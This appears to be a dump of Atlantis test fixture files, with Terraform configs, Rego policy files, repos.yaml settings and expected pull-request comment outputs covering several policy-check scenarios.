    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/repos.yaml",
    "content": "repos:\n  - id: /.*/\n    policy_check: false\n\npolicies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n  policy_check: true\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/repos.yaml",
    "content": "repos:\n  - id: /.*/\n    policy_check: true\n\npolicies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n\n```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - null_resource_policy - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/policies/policy.rego",
    "content": "package null_resource_policy\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\nworkflows:\n  default:\n    policy_check:\n      steps:\n        - show\n        - policy_check:\n            extra_args: [\"--all-namespaces\"]\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-extra-args/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: dir1\n- dir: dir2\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/main.tf",
    "content": "resource \"null_resource\" \"forbidden\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-apply.txt",
    "content": "Ran Apply for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```\n\n---\n### 2. dir: `dir2` workspace: `default`\n**Apply Failed**: All policies must pass for project before running apply.\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 1 failed, 0 errored"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check-quiet.txt",
    "content": "Ran Policy Check for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 2. dir: `dir2` workspace: `default`\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Forbidden Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d dir2\n  ```\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n#### Policy Set: `test_policy`\n```diff\n\n1 test, 1 passed, 0 warnings, 0 failures, 0 exceptions\n\n```\n\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d dir1\n  ```\n\n---\n### 2. dir: `dir2` workspace: `default`\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Forbidden Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d dir2\n  ```\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `dir2` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.forbidden[0] will be created\n+ resource \"null_resource\" \"forbidden\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `default`\n- dir: `dir2` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_creates[_] > 0\n\treason := \"WARNING: Forbidden Resource creation is prohibited.\"\n}\n\nresource_names = {\"forbidden\"}\n\nresources[resource_name] = all if {\n\tsome resource_name\n\tresource_names[resource_name]\n\tall := [res |\n\t\tres := tfplan.resource_changes[_]\n\t\tres.name == resource_name\n\t]\n}\n\n# number of creations of resources of a given name\nnum_creates[resource_name] = num if {\n\tsome resource_name\n\tresource_names[resource_name]\n\tall := resources[resource_name]\n\tcreations := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(creations)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-multi-projects/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: ../policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nApply complete! Resources: 0 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n```diff\nChanges to Outputs:\n+ workspace = \"default\"\n\nYou can apply this plan to save these new output values to the Terraform\nstate, without changing any real infrastructure.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/main.tf",
    "content": "output \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-success-silent/repos.yaml",
    "content": "repos:\n- id: /.*/\n  apply_requirements: [approved]\npolicies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
